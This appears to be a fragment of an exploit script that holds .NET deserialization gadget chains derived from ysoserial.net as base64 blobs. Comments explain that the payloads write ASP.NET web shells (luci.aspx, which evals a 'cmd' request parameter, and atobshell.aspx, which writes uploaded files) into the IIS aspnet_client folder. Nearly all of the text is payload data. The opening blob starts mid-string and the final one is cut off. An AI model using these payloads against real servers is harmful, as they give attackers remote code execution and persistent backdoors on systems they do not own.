UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFQQUFBQUgxTjVjM1JsYlM1VmJtbDBlVk5sY21saGJHbDZZWFJwYjI1SWIyeGtaWElEQUFBQUJFUmhkR0VKVlc1cGRIbFVlWEJsREVGemMyVnRZbXg1VG1GdFpRRUFBUWdHSVFBQUFQNEJVM2x6ZEdWdExreHBibkV1Ulc1MWJXVnlZV0pzWlN0WGFHVnlaVk5sYkdWamRFVnVkVzFsY21GaWJHVkpkR1Z5WVhSdmNtQXlXMXRUZVhOMFpXMHVRbmwwWlZ0ZExDQnRjMk52Y214cFlpd2dWbVZ5YzJsdmJqMDBMakF1TUM0d0xDQkRkV3gwZFhKbFBXNWxkWFJ5WVd3c0lGQjFZbXhwWTB0bGVWUnZhMlZ1UFdJM04yRTFZelUyTVRrek5HVXdPRGxkTEZ0VGVYTjBaVzB1VW1WbWJHVmpkR2x2Ymk1QmMzTmxiV0pzZVN3Z2JYTmpiM0pzYVdJc0lGWmxjbk5wYjI0OU5DNHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajFpTnpkaE5XTTFOakU1TXpSbE1EZzVYVjBFQUFBQUJpSUFBQUJMVTNsemRHVnRMa052Y21Vc1ZtVnljMmx2YmowMExqQXVNQzR3TEVOMWJIUjFjbVU5Ym1WMWRISmhiQ3hRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNUVCQUFBQUFIQUFBQUNRTUFBQUFLQ1NRQUFBQUtDQWdBQUFBQUNnZ0lBUUFBQUFFUkFBQUFEd0FBQUFZbEFBQUE5UUpUZVhOMFpXMHVUR2x1Y1M1RmJuVnRaWEpoWW14bEsxZG9aWEpsVTJWc1pXTjBSVzUxYldWeVlXSnNaVWwwWlhKaGRHOXlZREpiVzFONWMzUmxiUzVTWldac1pXTjBhVzl1TGtGemMyVnRZbXg1TENCdGMyTnZjbXhwWWl3Z1ZtVnljMmx2YmowMExqQXVNQzR3TENCRGRXeDBkWEpsUFc1bGRYUnlZV3dzSUZCMVlteHBZMHRsZVZSdmEyVnVQV0kzTjJFMVl6VTJNVGt6TkdVd09EbGRMRnRUZVhOMFpXMHVRMjlzYkdWamRHbHZibk11UjJWdVpYSnBZeTVKUlc1MWJXVnlZV0pzWldBeFcxdFRlWE4wWlcwdVZIbHdaU3dnYlhOamIzSnNhV0lzSUZabGNuTnBiMjQ5TkM0d0xqQXVNQ3dnUTNWc2RIVnlaVDF1WlhWMGNtRnNMQ0JRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNVhWMHNJRzF6WTI5eWJHbGlMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqYzNZVFZqTlRZeE9UTTBaVEE0T1YxZEJBQUFBQWtpQUFBQUVCSUFBQUFIQUFBQUNRUUFBQUFLQ1NnQUFBQUtDQWdBQUFBQUNnZ0lBUUFBQUFFVEFBQUFEd0FBQUFZcEFBQUEzd05UZVhOMFpXMHVUR2x1Y1M1RmJuVnRaWEpoWW14bEsxZG9aWEpsVTJWc1pXTjBSVzUxYldWeVlXSnNaVWwwWlhKaGRHOXlZREpiVzFONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SFpXNWxjbWxqTGtsRmJuVnRaWEpoWW14bFlERmJXMU41YzNSbGJTNVVlWEJsTENCdGMyTnZjbXhwWWl3Z1ZtVnljMmx2YmowMExqQXVNQzR3TENCRGRXeDBkWEpsUFc1bGRYUnlZV3dzSUZCMVlteHBZMHRsZVZSdmEyVnVQV0kzTjJFMVl6VTJNVGt6TkdVd09EbGRYU3dnYlhOamIzSnNhV0lzSUZabGNuTnBiMjQ5TkM0d0xqQXVNQ3dnUTNWc2RIVnlaVDF1WlhWMGNtRnNMQ0JRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNVhTeGJVM2x6ZEdWdExrTnZiR3hsWTNScGIyNXpMa2RsYm1WeWFXTXVTVVZ1ZFcxbGNtRjBiM0pnTVZ0YlUzbHpkR1Z0TGxSNWNHVXNJRzF6WTI5eWJHbGlMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqYzNZVFZqTlRZeE9UTTBaVEE0T1YxZExDQnRjMk52Y214cFlpd2dWbVZ5YzJsdmJqMDBMakF1TUM0d0xDQkRkV3gwZFhKbFBXNWxkWFJ5WVd3c0lGQjFZbXhwWTB0bGVWUnZhMlZ1UFdJM04yRTFZelUyTVRrek5HVXdPRGxkWFFRQUFBQUpJZ0FBQUJBVUFBQUFCd0FBQUFrRkFBQUFDZ2tzQUFBQUNnZ0lBQUFBQUFvSUNBRUFBQUFCRlFBQUFBOEFBQUFHTFFBQUFPWUNVM2x6ZEdWdExreHBibkV1Ulc1MWJXVnlZV0pzWlN0WGFHVnlaVk5sYkdWamRFVnVkVzFsY21GaWJHVkpkR1Z5WVhSdmNtQXlXMXRUZVhOMFpXMHVRMjlzYkdWamRHbHZibk11UjJWdVpYSnBZeTVKUlc1MWJXVnlZWFJ2Y21BeFcxdFRlWE4wWlcwdVZIbHdaU3dnYlhOamIzSnNhV0lzSUZabGNuTnBiMjQ5TkM0d0xqQXVNQ3dnUTNWc2RIVnlaVDF1WlhWMGNtRnNMQ0JRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNVhWMHNJRzF6WTI5eWJHbGlMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqYzNZVFZqTlRZeE9UTTBaVEE0T1Ywc1cxTjVjM1JsYlM1VWVYQmxMQ0J0YzJOdmNteHBZaXdnVm1WeWMybHZiajAwTGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBXSTNOMkUxWXpVMk1Ua3pOR1V3T0RsZFhRUUFBQUFKSWdBQUFCQVdBQUFBQndBQUFBa0dBQUFBQ1RBQUFBQUpNUUFBQUFvSUNBQUFBQUFLQ0FnQkFBQUFBUmNBQUFBUEFBQUFCaklBQUFEdkFWTjVjM1JsYlM1TWFXNXhMa1Z1ZFcxbGNtRmliR1VyVjJobGNtVlRaV3hsWTNSRmJuVnRaWEpoWW14bFNYUmxjbUYwYjNKZ01sdGJVM2x6ZEdWdExsUjVjR1VzSUcxelkyOXliR2xpTENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9WMHNXMU41YzNSbGJTNVBZbXBsWTNRc0lHMXpZMjl5YkdsaUxDQldaWEp6YVc5dVBUUXVNQzR3TGpBc0lFTjFiSFIxY21VOWJtVjFkSEpoYkN3Z1VIVmliR2xqUzJWNVZHOXJaVzQ5WWpjM1lUVmpOVFl4T1RNMFpUQTRPVjFkQkFBQUFBa2lBQUFBRUJnQUFBQUhBQUFBQ1FjQUFBQUtDVFVBQUFBS0NBZ0FBQUFBQ2dnSUFRQUFBQUVaQUFBQUR3QUFBQVkyQUFBQUtWTjVjM1JsYlM1WFpXSXVWVWt1VjJWaVEyOXVkSEp2YkhNdVVHRm5aV1JFWVhSaFUyOTFjbU5sQkFBQUFBWTNBQUFBU2xONWMzUmxiUzVYWldJc1ZtVnljMmx2YmowMExqQXVNQzR3TEVOMWJIUjFjbVU5Ym1WMWRISmhiQ3hRZFdKc2FXTkxaWGxVYjJ0bGJqMWlNRE5tTldZM1pqRXhaRFV3WVROaEVCb0FBQUFIQUFBQUNRZ0FBQUFJQ0FBQUFBQUlDQW9BQUFBSUFRQUlBUUFJQVFBSUNBQUFBQUFCR3dBQUFBOEFBQUFHT1FBQUFDbFRlWE4wWlcwdVEyOXRjRzl1Wlc1MFRXOWtaV3d1UkdWemFXZHVMa1JsYzJsbmJtVnlWbVZ5WWdRQUFBQUdPZ0FBQUVaVGVYTjBaVzBzVm1WeWMybHZiajAwTGpBdU1DNHdMRU4xYkhSMWNtVTlibVYxZEhKaGJDeFFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1RUJ3QUFBQUZBQUFBRFFJSk93QUFBQWdJQXdBQUFBa0xBQUFBQVIwQUFBQVBBQUFBQmowQUFBQTBVM2x6ZEdWdExsSjFiblJwYldVdVVtVnRiM1JwYm1jdVEyaGhibTVsYkhNdVFXZG5jbVZuWVhSbFJHbGpkR2x2Ym1GeWVRUUFBQUFHUGdBQUFBaHRjMk52Y214cFloQWVBQUFBQVFBQUFBa0pBQUFBRUI4QUFBQUNBQUFBQ1FvQUFBQUpDZ0FBQUJBZ0FBQUFBZ0FBQUFaQkFBQUFBQWxCQUFBQUJDUUFBQUFpVTNsemRHVnRMa1JsYkdWbllYUmxVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ0lBQUFBSVJHVnNaV2RoZEdVSGJXVjBhRzlrTUFNRE1GTjVjM1JsYlM1RVpXeGxaMkYwWlZObGNtbGhiR2w2WVhScGIyNUliMnhrWlhJclJHVnNaV2RoZEdWRmJuUnllUzlUZVhOMFpXMHVVbVZtYkdWamRHbHZiaTVOWlcxaVpYSkpibVp2VTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2dsQ0FBQUFDVU1BQUFBQktBQUFBQ1FBQUFBSlJBQUFBQWxGQUFBQUFTd0FBQUFrQUFBQUNVWUFBQUFKUndBQUFBRXdBQUFBSkFBQUFBbElBQUFBQ1VrQUFBQUJNUUFBQUNRQUFBQUpTZ0FBQUFsTEFBQUFBVFVBQUFBa0FBQUFDVXdBQUFBSlRRQUFBQUU3QUFBQUJBQUFBQWxPQUFBQUNVOEFBQUFFUWdBQUFEQlRlWE4wWlcwdVJHVnNaV2RoZEdWVFpYSnBZV3hwZW1GMGFXOXVTRzlzWkdWeUswUmxiR1ZuWVhSbFJXNTBjbmtIQUFBQUJIUjVjR1VJWVhOelpXMWliSGtHZEdGeVoyVjBFblJoY21kbGRGUjVjR1ZCYzNObGJXSnNlUTUwWVhKblpYUlVlWEJsVG1GdFpRcHRaWFJvYjJST1lXMWxEV1JsYkdWbllYUmxSVzUwY25rQkFRSUJBUUVETUZONWMzUmxiUzVFWld4bFoyRjBaVk5sY21saGJHbDZZWFJwYjI1SWIyeGtaWElyUkdWc1pXZGhkR1ZGYm5SeWVRWlFBQUFBTzFONWMzUmxiUzVHZFc1allESmJXMU41YzNSbGJTNUNlWFJsVzExZExGdFRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNUJjM05sYldKc2VWMWRDVDRBQUFBS0NUNEFBQUFHVWdBQUFCcFRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNUJjM05sYldKc2VRWlRBQUFBQkV4dllXUUtCRU1BQUFBdlUzbHpkR1Z0TGxKbFpteGxZM1JwYjI0dVRXVnRZbVZ5U1c1bWIxTmxjbWxoYkdsNllYUnBiMjVJYjJ4a1pYSUdBQUFBQkU1aGJXVU1RWE56WlcxaWJIbE9ZVzFsQ1VOc1lYTnpUbUZ0WlFsVGFXZHVZWFIxY21VS1RXVnRZbVZ5Vkhsd1pSQkhaVzVsY21salFYSm5kVzFsYm5SekFRRUJBUUFEQ0ExVGVYTjBaVzB1Vkhsd1pWdGRDVk1BQUFBSlBnQUFBQWxTQUFBQUJsWUFBQUFuVTNsemRHVnRMbEpsWm14bFkzUnBiMjR1UVhOelpXMWliSGtnVEc5aFpDaENlWFJsVzEwcENBQUFBQW9CUkFBQUFFSUFBQUFHVndBQUFHVlRlWE4wWlcwdVJuVnVZMkF5VzF0VGVYTjBaVzB1VW1WbWJHVmpkR2x2Ymk1QmMzTmxiV0pzZVYwc1cxTjVjM1JsYlM1RGIyeHNaV04wYVc5dWN5NUhaVzVsY21sakxrbEZiblZ0WlhKaFlteGxZREZiVzFONWMzUmxiUzVVZVhCbFhWMWRYUWsrQUFBQUNnaytBQUFBQ1ZJQUFBQUdXZ0FBQUFoSFpYUlVlWEJsY3dvQlJRQUFBRU1BQUFBSldnQUFBQWsrQUFBQUNWSUFBQUFHWFFBQUFCaFRlWE4wWlcwdVZIbHdaVnRkSUVkbGRGUjVjR1Z6S0NrSUFBQUFDZ0ZHQUFBQVFnQUFBQVplQUFBQWdnRlRlWE4wWlcwdVJuVnVZMkF5VzF0VGVYTjBaVzB1UTI5c2JHVmpkR2x2Ym5NdVIyVnVaWEpwWXk1SlJXNTFiV1Z5WVdKc1pXQXhXMXRUZVhOMFpXMHVWSGx3WlYxZFhTeGJVM2x6ZEdWdExrTnZiR3hsWTNScGIyNXpMa2RsYm1WeWFXTXVTVVZ1ZFcxbGNtRjBiM0pnTVZ0YlUzbHpkR1Z0TGxSNWNHVmRYVjFkQ1Q0QUFBQUtDVDRBQUFBR1lBQUFBRGRUZVhOMFpXMHVRMjlzYkdWamRHbHZibk11UjJWdVpYSnBZeTVKUlc1MWJXVnlZV0pzWldBeFcxdFRlWE4wWlcwdVZIbHdaVjFkQm1FQUFBQU5SMlYwUlc1MWJXVnlZWFJ2Y2dvQlJ3QUFBRU1BQUFBSllRQUFBQWsrQUFBQUNXQUFBQUFHWkFBQUFFVlRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVSMlZ1WlhKcFl5NUpSVzUxYldWeVlYUnZjbUF4VzFONWMzUmxiUzVVZVhCbFhTQkhaWFJGYm5WdFpYSmhkRzl5S0NrSUFBQUFDZ0ZJQUFBQVFnQUFBQVpsQUFBQVdWTjVjM1JsYlM1R2RXNWpZREpiVzFONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SFpXNWxjbWxqTGtsRmJuVnRaWEpoZEc5eVlERmJXMU41YzNSbGJTNVVlWEJsWFYxZExGdFRlWE4wWlcwdVFtOXZiR1ZoYmwxZENUNEFBQUFLQ1Q0QUFBQUdad0FBQUI1VGVYTjBaVzB1UTI5c2JHVmpkR2x2Ym5NdVNVVnVkVzFsY21GMGIzSUdhQUFBQUFoTmIzWmxUbVY0ZEFvQlNRQUFBRU1BQUFBSmFBQUFBQWsrQUFBQUNXY0FBQUFHYXdBQUFCSkNiMjlzWldGdUlFMXZkbVZPWlhoMEtDa0lBQUFBQ2dGS0FBQUFRZ0FBQUFac0FBQUFWbE41YzNSbGJTNUdkVzVqWURKYlcxTjVjM1JsYlM1RGIyeHNaV04wYVc5dWN5NUhaVzVsY21sakxrbEZiblZ0WlhKaGRHOXlZREZiVzFONWMzUmxiUzVVZVhCbFhWMWRMRnRUZVhOMFpXMHVWSGx3WlYxZENUNEFBQUFLQ1Q0QUFBQUdiZ0FBQURkVGVYTjBaVzB1UTI5c2JHVmpkR2x2Ym5NdVIyVnVaWEpwWXk1SlJXNTFiV1Z5WVhSdmNtQXhXMXRUZVhOMFpXMHVWSGx3WlYxZEJtOEFBQUFMWjJWMFgwTjFjbkpsYm5RS0FVc0FBQUJEQUFBQUNXOEFBQUFKUGdBQUFBbHVBQUFBQm5JQUFBQVpVM2x6ZEdWdExsUjVjR1VnWjJWMFgwTjFjbkpsYm5Rb0tRZ0FBQUFLQVV3QUFBQkNBQUFBQm5NQUFBQXNVM2x6ZEdWdExrWjFibU5nTWx0YlUzbHpkR1Z0TGxSNWNHVmRMRnRUZVhOMFpXMHVUMkpxWldOMFhWMEpQZ0FBQUFvSlBnQUFBQVoxQUFBQUVGTjVjM1JsYlM1QlkzUnBkbUYwYjNJR2RnQUFBQTVEY21WaGRHVkpibk4wWVc1alpRb0JUUUFBQUVNQUFBQUpkZ0FBQUFrK0FBQUFDWFVBQUFBR2VRQUFBQ2xUZVhOMFpXMHVUMkpxWldOMElFTnlaV0YwWlVsdWMzUmhibU5sS0ZONWMzUmxiUzVVZVhCbEtRZ0FBQUFLQVU0QUFBQVBBQUFBQm5vQUFBQW1VM2x6ZEdWdExrTnZiWEJ2Ym1WdWRFMXZaR1ZzTGtSbGMybG5iaTVEYjIxdFlXNWtTVVFFQUFBQUNUb0FBQUFRVHdBQUFBSUFBQUFKZkFBQUFBZ0lBQ0FBQUFSOEFBQUFDMU41YzNSbGJTNUhkV2xrQ3dBQUFBSmZZUUpmWWdKZll3SmZaQUpmWlFKZlpnSmZad0pmYUFKZmFRSmZhZ0pmYXdBQUFBQUFBQUFBQUFBQUNBY0hBZ0lDQWdJQ0FnSVRFOUowN2lyUkVZdjdBS0RKRHliM0N3PT0L"
# modified ysoserial.net shell write gadget chain
# shell name: luci.aspx
# shell contents: <script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['cmd'],'unsafe');}</script>
shell_write_gadget = 'AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAHxhPHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ2NtZCddLCd1bnNhZmUnKTt9PC9zY3JpcHQ+BgcAAAAqYzpcaW5ldHB1Ylx3d3dyb290XGFzcG5ldF9jbGllbnRcbHVjaS5hc3B4BAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAADKAVN5c3RlbS5BY3Rpb25gMltbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKCQwAAAAGDQAAAA5TeXN0ZW0uSU8uRmlsZQYOAAAADFdyaXRlQWxsVGV4dAkPAAAABAkAAAAvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIHAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNzTmFtZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQ4AAAAJDAAAAAkNAAAABhMAAAAvVm9pZCBXcml0ZUFsbFRleHQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGFAAAADZTeXN0ZW0uVm9pZCBXcml0ZUFsbFRleHQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYVAAAAB0NvbXBhcmUJDAAAAAYXAAAADVN5c3RlbS5TdHJpbmcGGAAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhkAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEPAAAACAAAAAYaAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJFwAAAAkVAAAACgs='
# shell name: atobshell.aspx
# shell contents: <%@ Page Language=\"JScript\" Debug=\"true\"%><%@Import Namespace=\"System.IO\"%><%File.WriteAllBytes(Request[\"b\"], Convert.FromBase64String(Request[\"a\"]));%>
shell_write_gadget1 = 'AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAJkBYTwlQCBQYWdlIExhbmd1YWdlPSJKU2NyaXB0IiBEZWJ1Zz0idHJ1ZSIlPjwlQEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5JTyIlPjwlRmlsZS5Xcml0ZUFsbEJ5dGVzKFJlcXVlc3RbImIiXSwgQ29udmVydC5Gcm9tQmFzZTY0U3RyaW5nKFJlcXVlc3RbImEiXSkpOyU+BgcAAAAvYzpcaW5ldHB1Ylx3d3dyb290XGFzcG5ldF9jbGllbnRcYXRvYnNoZWxsLmFzcHgEBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCQgAAAAJCQAAAAkKAAAABAgAAAAwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdldBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVudHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkGCwAAAMoBU3lzdGVtLkFjdGlvbmAyW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQYMAAAAS21zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQoJDAAAAAYNAAAADlN5c3RlbS5JTy5GaWxlBg4AAAAMV3JpdGVBbGxUZXh0CQ8AAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDgAAAAkMAAAACQ0AAAAGEwAAAC9Wb2lkIFdyaXRlQWxsVGV4dChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYUAAAANlN5c3RlbS5Wb2lkIFdyaXRlQWxsVGV4dChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQoAAAAJAAAABhUAAAAHQ29tcGFyZQkMAAAABhcAAAANU3lzdGVtLlN0cmluZwYYAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGQAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQ8AAAAIAAAABhoAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZ